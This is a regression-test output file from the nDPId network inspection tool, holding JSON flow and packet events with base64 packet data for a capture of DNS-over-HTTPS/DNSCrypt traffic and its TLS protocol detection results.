+01130{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":48482,"pkt_caplen":580,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":580,"pkt_l4_len":546,"pkt":"ZmZmZmZmRERERERECABFAAI2YsJAADcGFIusaF1QCgAAAQG7n+qVA70M4zdu4FAYABY3eQAAFwMDAQKl9bVrOANEBxzOSpW9fwdb4kB58G7wVOFiyrLFC6GoAzQbJFqwFMcTOejnsTEvTe0dww44lSaCNoDljJkUVTLzsJc63AkQeSa0N0inrLPuHARMnwAxc1XD6OfRiYq7c5Svd6y0EGNhwisHe\/\/2EyvFS5pr5+mJa7Izs8CqtS9LF47LiAUK778hTFhAFhaNLIqLxyrbVoC8IBKYe3ZgNxaSoF+cWB2M8nkPmtFxWLztFBTrnXPG19D63qmKD3lfKWPmGwtSIJ\/+xutoKdt9QC0YomEMfK0lLjsPacujEOx9olPUMJbT3AhvqKOXpfl4NcToioNiAM88CwVdxUhSGZlbDn8XAwMBAhrdVG9\/pqSIywIMExhUu4YaMwZYW4PI56Qa1B3PLXgTuFWD5FbsYqAHE95iTbLGGF4faueRcChAM+KhvvyL+LvwCcoM0\/9gp\/nm4pEyeUqdyqUa2NXq9kl6\/r2xcF4LQiMjpcnsU\/r5LxcozEjyuoBbe1GWODUTvLgvwGPqug05eYqfSYDku9BUIMmBdCU2\/iI1rTbfbDQvYC2rGb9vGUOhBQQ+mjEV8vjJ9hrFcbH+BkN+QHp50mEzshCDxhWXi4iy+zIOejMmlI8InqjAXokWeXePGJohwcVLjv7iCOLxqPXiOPDVbyMHA26DtVtIpw5FF5n\/gFiANbyRl66NXQ5UsQ=="} +00981{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":48971,"pkt_caplen":470,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":470,"pkt_l4_len":436,"pkt":"ZmZmZmZmRERERERECABFAAHIYsNAADcGFPisaF1QCgAAAQG7n+qVA78a4zdu4FAYABYpQAAAFwMDAZvJ7ifIJlk6BFhjgxwtR7679JLpVVXBShQ0tVTSnbu3flZOFs9Wi5zgWVP1kORpfphAccLwUNxmG4GKwpb6sJalKMzKEZsnkTbZBCW3+WbdmNavsdMV464yi7rGHI0SZvD4s2r02pHF6gdO73AHccRrnfdYEWLa8RKc3LorUuicM14fItoPHb9Y6I6w5FkSBn9mudj6cgurac88EPT0cdteRqcs7GE4LmjKNIMYbc\/kxq\/E2V0kTYSRsODui2f8DHhYu2JgSMMBbimVSkX\/S8qsim4vHbHibO2fFiP8UcwMC3yU1m1vhG1GCRHacKCg8G3H22edYAi1iShloZPl1ctojQ\/oPtg\/Ve7sNYM04yhFu3\/pY\/KKzAGGD5SxC8AHH5yA87nIoZWCHZfNifTIbRgqNHOI5fwlp9KcjQ+3Y6dXsVvL9NyBNX+a23mQSnzMr3xgyungnkaxq+x2BCu5YXMHokr0WAdwX\/p9LgKruPatIkBbPS934mGv6G+rojaVcxSqc\/8mF5wZwzZoOEBq70fx0LYeR0gX9bASNt8="} +00460{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":49123,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHLvhAAL0GxEMKAAABrGhdUJ\/qAbvjN27glQPAulAYAfXKrgAAFwMDABr0\/Ik65IAQ8O1qOfP91jhsNzWZ7fikprkNJg=="} +00560{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":49474,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACRLvlAAL0Gw\/gKAAABrGhdUJ\/qAbvjN27\/lQPAulAYAfXK+AAAFwMDAGSApmrldti6oN+DULKIZJewODe5W+o6CuHJI2G42fdd7hAs6R08icry3Y4E7rvXz6YD+wbopgo+FbCOxTt+9V1S7BgiMS2VlG056Aj2WAUkRlKKHqvi3hU462wZBu6qkjA340kb"} +00570{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":49558,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWLvpAAL0Gw\/IKAAABrGhdUJ\/qAbvjN29olQPAulAYAfXK\/QAAFwMDAGn1FOkTV8bkkUFsuChemkwWhSKcZnZUV5rDptmc\/he41kQXSfhBbGvHpaGpylzzgsGVyupoZ20AruLps9TDAGvxqBhIazXRcryUNoAnFkGoZvlonJzUO8s+\/7AiDlBJ8C3ozU7+6HZhRlE="} +00799{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241227,"pkt_caplen":335,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":335,"pkt_l4_len":301,"pkt":"ZmZmZmZmRERERERECABFAAFBYsVAADcGFX2saF1QCgAAAQG7n+qVA8C64zdv1lAYABYDRAAAFwMDARTrTqe\/uHssUSe\/BxhHUCQnJdK8zPVZzxi61zBMtiDfzpbO88e+tPjHzdRl6FcUa+bNfalZxPGXaQ+zB1NyAOYpH2UrhmWzi1qPlCYzZkG8Szz1HaauJAYnB0P3OPeOU4747d+bb70yirGt8iJL90AeQy1tELZt6ToWjyyyDcQ50bJED8\/OlUkfbS6pcPtAKzSdD2oH3ZDav5+EQgksXYHvZ3e2yPeCOi6FPQya7KNI5O05wb2J0Yrqi+eF9cKQx6Ef0GOy1QN8QgjZG7D4y\/SoPB4TeV5S72x0nGMxV8z2gZ3r2w2ez3ujPbpr0kHRNVU4Pa7+P11fiZ1flJCoH7xKpzJtrzRY\/BfEtfcWpiTZMR8qzv0="} +00466{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241606,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLLvtAAL0GxDwKAAABrGhdUJ\/qAbvjN2\/WlQPB01AYAfXKsgAAFwMDAB6h799Z6YSmgeoCnvmbPudRM5Zunhi\/Era65MsC8qs="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":73,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":946739310588,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":37530,"dst_port":453,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00808{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":588567,"pkt_caplen":340,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":340,"pkt_l4_len":306,"pkt":"REREREREZmZmZmZmCABFAAFGz7FAAL0GqFMKAAABp3LcfZKaAcWpCIgSh0x2XlAYAfZF5QAAFgMBARkBAAEVAwNM+6CQ4xrTV+1tOPP7h0Gj90S89M7DOPc8QQnDuq\/mRiD0eC9rhNsSjRzwJJQFthL\/q1ufnITsbP94aSBdrdhzDwAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACmAAAAFQATAAAQZG5zMS5kbnNjcnlwdC5jYQAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACDUjoSgwC\/YwRC2sL4\/9W3ATSzLtM\/v84EfifaAhQZfWw=="} +00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":73,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":946739310588,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":37530,"dst_port":453,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns1.dnscrypt.ca","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04632{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":697795,"pkt_caplen":3154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3154,"pkt_l4_len":3120,"pkt":"ZmZmZmZmRERERERECABFAAxEyD9AADMGLsinctx9CgAAAQHFkpqHTHZeqQiJMFAYAfVQ4wAAFgMDAHoCAAB2AwOMlhGBzZbQdgMB7SlRRNR6aAHyhH11lUBOX85ujHC26yD0eC9rhNsSjRzwJJQFthL\/q1ufnITsbP94aSBdrdhzDxMBAAAuACsAAgMEADMAJAAdACBUUq246Yl+EWhWLEvZvcutMb+IirYuhEzXmLk3lr59QxQDAwABARcDAwAgZrqPXWP2zV85oWOqSEKZV0DzXUfiOwwJJ+C5CgZ1QqEXAwMKFVw16EKwmaYl6UqgM5FDRFEvQkVVdsBwborgCOxUvP2YbrJsHBMovDHHpAcBFTWebPQJMSKasadU094aHDRpLPrxxCjXB2pxM0WIqTvteHWIfU1Fk5\/NpqSuHKzO0Ra3PwdESYixe\/zb6sDdKKc1TRT99VsGnFNvwT\/9kRj6LGAVtWhnVsCfJH598qgWQ0wNsN5\/qg97535WjDSAoptbAHelOwuJgc8mZW87Z778lSdbGSJVYmbS+Kzpu3czloyo+k8tnMR0gAcl1hEQQ49kVF90oJqhnl11GE\/B0nhnrDcMC484Ni2gzPflOc2ve4l75Bv19quG6UuBjAJ+lAILT2sCAli3NgfXnu\/RIxYWHOwg5dkUsitPEbeddf7oCeQEhHZOIe8IWZHCTWJ8Xas6gq1DtDEctxSwxYTmBOPQYJURvi5XAJunxgkYorZ1S5H22PsJbPQoDTXE7jb\/MK+t+sJi\/qLBk\/QTcK+QjjpfOnPOG6kcTfb96PDiNmimFlhI+7qPbHOuBFKP3RlOfNCtE0LR80aRulQJ7mOKrhCqpMkFgCoXo\/4IvZulEfNa6rLjjxU0mGwRO9C\/8SUW\/MWxf9V+fhaFIFLLIrdk9mjlOAh4RTjBuIhZwdSm01OHFabvxJQc5nWUTI8sDv\/4Hth4Nmyyi395Zo\/bIgvPNsPA6YqSbJJPw7TRXj9EpeXABU58rfRMlnEHMcHSeAnr61+lHN29cf2rb7cQuEObxOV+r0Ti2hnTxG1kzZXxUKMf1TJz\/QNCPdFs\/8sc7I75BLceNNdyiMxbhvl0\/mQYkbbTX+E01I4nneSr0YAWi\/dj5OFWkY5oKdT3ijaj5ZnH8mUoUzF6gidtHrJfWLUutNNAVK0ii3hJTxAh53tLa55cziofBXUjER9OxqdXFQX0xk0dW5\/N25Am3sfN4K9G9Or+Mq0ZjCUN\/b\/4AAu5iVdc2xuiywbhKCKv\/+1ba649i2+11N2NuNP4WLerjRdmVgUEXTqjPsE1bvdPpgn\/tgD\/NfJO4snitGVo2fF0AIvoI8ffNDBM8mHNAe\/P4wCN21PuNzrXMiMwd7BKvHy1yaV3bx1ZcbZVsRq2ArQ\/sz1xvbYIM5K\/4uE3U5TUD7iEvNa+H0F0t5Pm3xl9hPFjB8UQZyCzE0eaHFxztuY1AhJrANiSpn9KUApux28hlfmPpxZwwY\/4voaTDNDh4a6l1L\/5bBlTMZQ8ZTPo3KsCc7rYoLRgUBfec4EVT3pXIcfZwnttUMEultj1OSOdAYKMUVl+Ae797PlHj+BPOvQU1JP+1NxmeW9EkPxvKNxTuFB8Ql03lSa0sP7N4iOT4LxwTyM6btUOuFjsDMq5fFh3z8x6u4eDmVvymYi2lDSt123i5VnAGlmqe2vlBnBoLSjRbpHHKNWC14LFSfaclke+Fsk\/LXqRdmrmwoK42FR8QM5yBJ4V4XBtfp1iJayJWXrv2Yp\/Jw2nGI\/8spJXweIKBfFJYNDE+FKqYVx6uY0QURwmsxmAiNbUSW3iE5ptj6f47Bqqzcu614k3woIktKLvq+R5kAUl\/94OeFfc1MDcYQiS1itHZ6WgYMqXlALhkIaagT341vLWH8EINXXu\/JPbuL4ratmRZsOHcAq4Z64Qth7VsN\/NAOgVmBZa9WLc6jmBs+\/7oNewv6pYbinaC9eFjw+AUviDZIoPDTI2cqHtCKNJKtQeYF8JwZdso+kGs0e4hY6Ekh+Gt4QIAdcddPMJiEMdHRRcI7TJwLsTmixFKIFFEmFMcRnAgRce970vQl6+J2m\/3\/zT76RlKTnb6S5cA2Gh1xVWfifqZ+dJJ4S6U8o2kzOx1BcO4lPr6QndhbLXBopt+TnAxhiNVC0jGSLxxKfJsKliuCmauybike5VfhMB74\/Zd9LI0lHZcyjtrJZpkqIdf9mUmq84TeFEVObpfDxeDp9pwfwnzY7CZiAhc8H7X\/B4eL6QPbJJeDvWRsaiMa8MtOGUovwBK\/1RmmRbBs9Ps\/WvCegAP2zZsifFoeWn3IFAPuF2t4F1jzP6KFB2fJjiCF\/xSMUdVX4mSSLxUy6Noq6HH8DTkiTT7i5Rtb6Z+6YPqTrIz0kRUJm8ymK8qGaWvXbafgJW+zAD6LQJ6Uz\/H9ede+fQeVaNdwR2ZGANN93T8+CUOO\/5QCgVylxvI+WkULYljrgmsAHGf2x4K+AdzUNCRbtqqamvoa9+H9TZ6D9K0XHtu60WRh\/xvg+0kvul3oISkBwW\/5VC47CJIkeqDKIcaH28dzjF68bVaWHBCOA\/QVspO8f7PM39uibr2ZI\/9qT7jw8Z+41laurnLDDiiTcv8nIyk9gPkkLpL0gZ8B7RwNepdi9poakmfyvLsu7noykkUZPrrciaDs4AxlMW2SE0l6ggoSXHblXDfGv1qrkJ+wYHqoIpx4Orz9BIDwmFuIK9uApDePCMMJ8COMRLP5+c7CWBbef3qNt43feI9i3DxrqohnnAeDQ5XayaaeIrWeswn\/yTkRhpCGBJsg0rlCy0bwelKJ5jOd0Z6yAeLdgeBTN7mANe1L7262l3N\/TUj4BGdpkUJSKWZ+F5L9xh3ZDx0CN7nut3setCOi4jALV8qZWBwNBsnPw\/1et9Mhz5yQU5W4hKDkIkR0JbpteXZI\/YulIUs304N95S0rMRs+F91Z\/I1bjxYITEBnA3nKgeOqnJG67UQeyBJy3Wot3ZWs1FnfHSinzEDRXoy\/in3NMk3Ee4UJjJJVvh1u1kB0flpae3nwu8yHniwAQeA4V\/IYlytwzxmH9UBxClJ1YaCH4QYvYTNNn4X5yrgDRFy8aRZbx7KFTZjETXMAwD7jXdzFpBRNyur7a5hxwjkpR1nPJHXNHbl9ulhBQraPk64O22lXmWhmTqqJxPCHLTJc8dCW9Tw+MWIDqlSC6iP\/uFGWMugMNTbPpm71YwCV6DE3MM5Iw3r\/pJtSMpVM1czkfmhYfe8YtiZEI64Bh59v3JQ7Geu6i4Q2THuBrvHiZucUzufDS6W\/DBGI9K4\/J9OjIx3bbp4KuEgDSz3alUQX8h9N3c6Ve\/ecJdJcy74VVi6oGyfaHP6IVk7S15X3oTFjfGBcG+hk0a0dR\/W0BGALH+pY8iH726JsGgeEg52jxxJyoyqN2BP+Onsb9VAjI4Axsa9MyFPMa6R4QE78VraMZsIMjQY2e6jOI2lFaIx1i29CS8IB7OY+l9i9GRSJhN1TC+qRidWiZdwiZ6CGxjzCAIjCNtYYMpt94CcLWARqfnvGVuwq7RqWOpW3L6qgDcGRhcwof3dXDPhz02YMhWNSauXVnUXZfqF8vmR+tgeJWIevQpdj5ioEIsT2Um5j+gijjHh859fJLDhzYVmYtQ3TEi737GfFw2SXnggL\/Iy07c7IZEI94AezYiyRdA9+kLWGaO\/dAL2rthXXz37bspZFnOGyuB0KI3G4RabCIXAwMBGcOMNM44BDplKj\/3Ojq4jdtuoD82NTa5b2k5zkFslQd12hFn3q5eB44nkwI465O8I9pSVocWpqU9EbYhTvyK1R8N4URD7Q5PMRg7Umy5tkS2hB9uZLmMl9DoKxlIW+kyr\/KuqeGrCAN583A5M1yhRuOwYF56CIKxvuyChPRKUAt8\/70gOTQjynH\/\/1nGoYgPF\/ta4eVsTLhuzDLb9mQMc16\/4VLa51E7HgIT9to4lg95nWvnMoIyp4a8sRcKKCYU92Ot4xWr0tqEIEu0fXIbk7\/Ta2loRt8FUwirJas4rlQGX1glaJy9RyPTHTwKV9kLdjGIRncOAxHu\/8Q7IfLg2aWJ07\/3naoyq6szJDQTcE3S8LB44P4jJ13NFwMDADUJ1y22teIy1dcIiwJwX4cS160nI55Nkh7bUzq2ftRXjrZxugVJnOhQTCokK54\/+GLzaYeqbw=="} +00886{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":74,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":2,"flow_first_seen":946739310588,"flow_last_seen":946739310697,"flow_tot_l4_data_len":3426,"flow_min_l4_data_len":306,"flow_max_l4_data_len":3120,"flow_avg_l4_data_len":1713,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":37530,"dst_port":453,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns1.dnscrypt.ca","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00505{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":700192,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoz7NAAL0GqS8KAAABp3LcfZKaAcWpCIkwh0yCelAYAfVFBwAAFAMDAAEBFwMDADWIup5ey1m73Olzdr+La\/pgBsOV2156nE0gjo7pkVZbX+HWq3wNBOBZgTPS2Gv4V1H1NoVl6Q=="} +00536{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":700329,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+z7RAAL0GqRgKAAABp3LcfZKaAcWpCIlwh0yCelAYAfVFHQAAFwMDAFFigyjvaz4NANCTzY4A\/FUXStyH+vseBven0alEeSEgvizXGcy1JnutBrGtSy8oe\/Q87ZYytxhafI\/Pby87ceV10hAtpAb+z8MULO4M5g4llwg="} +00654{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":700554,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"REREREREZmZmZmZmCABFAADXz7VAAL0GqL4KAAABp3LcfZKaAcWpCInGh0yCelAYAfVFdgAAFwMDAKrhH5lHsVppiHapV0zMHNQK3jqxCpj8r+ER9OICFkNzJz9qMJa5JYEXb22MhKW4BH33WnJ2LmSW5MNK8j08SmNpIfM2RW6B6MFQCpHtWW9tEcGzveBruJEzzvXnhr3LZ5undg3ELbCtFU1iSyysu6j3nVfIFS3ncxFxzeF7SNyd5mNUDjIyfOHruygpvCXPI1LCM85A11NVhG1DXv\/2DVueewebUqyir10dfA=="} +00526{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":700636,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3z7ZAAL0GqR0KAAABp3LcfZKaAcWpCIp1h0yCelAYAfVFFgAAFwMDAEqIvS6yZsjM\/Kt9Kfs\/KWzV9wJT6LzIo3EeHiOzOY7ZeQIF4IkV3ckPDIqRa9v8NuBsXbodaWFd5I9juv3GnXZQoJ1snjxDubmWVA=="} +00494{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":806591,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"ZmZmZmZmRERERERECABFAABfyENAADMGOqmnctx9CgAAAQHFkpqHTIJ6qQiJxlAYAfUTKgAAFwMDADJtwCawbfPWmh5An3v6NnHsYb3+j4Ok\/Ym\/ZWwL3zbPamxcOhETe19lP0G4Cr9GXrzkLg=="} +00474{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":806613,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ZmZmZmZmRERERERECABFAABUyERAADMGOrOnctx9CgAAAQHFkpqHTIKxqQiJxlAYAfVaVAAAFwMDACdvJsOlTNusl+7ulRDa7i5KlAobBRJKROKHTVg7gEKaKLuNYv3qyLg="} +00458{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":806763,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHz7hAAL0GqUsKAAABp3LcfZKaAcWpCIrEh0yC3VAYAfVE5gAAFwMDABpbBaBTtXHD9j8OQxm3aC2bQM+5KBR7+IULIg=="} +00464{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":807094,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLyEZAADMGOrqnctx9CgAAAQHFkpqHTILdqQiKxFAYAfXh2AAAFwMDAB4jfLoPme6Ayqubm+i7K\/f9JzA7gOZZlvpLpEctb7M="} +00525{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":807115,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"ZmZmZmZmRERERERECABFAAB3yEdAADMGOo2nctx9CgAAAQHFkpqHTIMAqQiKxFAYAfWr2AAAFwMDAEoGe3DPrKqCrwNj5dlw4xuV6PVZrkcJdsyNC+WX1ISq1tsD7UkXKJO3UxnUxMCgloQYGHaSEq1dp6c1I0sVIHV9D5TDcKVb69LNMQ=="} +01096{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":807365,"pkt_caplen":553,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":553,"pkt_l4_len":519,"pkt":"ZmZmZmZmRERERERECABFAAIbyEhAADMGOOinctx9CgAAAQHFkpqHTINPqQiKxFAYAfW75gAAFwMDAe6slDJcootcCzR1qaWKHIBBU05\/fVW6AiSTGscJn9wFFMeY275IX8aMwAu6fITUFtfNym3PuejXk5yxB+YMvee7YPNrvXqLHicUkKjBYEtCL5MRBoBoir1g7aqFSNKWZepPIUbAK0OSlDkgc6dhHyyXNsoy536XwBwLJ+vaK5bSyWs3+128fj8vqVsxNdSsuV\/ZTHe57dPuHFfwCqURJh\/8FXjvmD5ySxFt2ubcuCS8L4H8Y1yIXkrzQD5zEWNxinx2t\/MsKQi9n0RQVzQWMWRYbe+CUB9FhswhSTOIpKAQ5D36f+SF1iFUSbCEmbP8LULZtNDWmD3aE\/AfHrvrhv+mvMDR+NATIiO1WWRQljYlQzpRhwxHEnijqOXrU4EXc9I4JtqbYdTjmPPnk9twNg7Nc79+RVbC093pTm2KFsszXZrPJhQ62MYI3qtC6DNbyDM0Uhr910JUhlI0t95Z\/g3158U\/XlHLcC6OKfcUg7eWV\/gwKroUCCenQtPtK2Z+AH7p7w8CAWqEAaId7B5+M1pS5gbqrAnlb7u3Q\/Z5kx5N7VEQ7BVh5jDBmBAu0FUXgWvD+idD2aKUb70uQKDNMPA8ZLaYO7XI6GnCPGTJXa+Vc8r7YhOEU9OFgweTkPQ7Q\/dhb9evt3QVCpUUZz4Hnw=="} +00463{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":807508,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLz7pAAL0GqUUKAAABp3LcfZKaAcWpCIrjh0yFQlAYAfVE6gAAFwMDAB5H180FN1WxacaxhnoQHhq2NjiZyrRyAme0TEU8JOI="} +00564{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":807613,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"REREREREZmZmZmZmCABFAACTz7tAAL0GqPwKAAABp3LcfZKaAcWpCIsGh0yFQlAYAfVFMgAAFwMDAGZ4tXqlwfbAQvZu8ODXG8wQDCvKFpu\/Su7bFHNR4TqZWjHfQcytP0HkKD+su6Jwbzx6PS8b9VRvaNXJwIYoXHnyA0b\/zq9gf9gDnSOtgSSK654K03rZszN9Ew6dltH4fGIG912EB9U="} 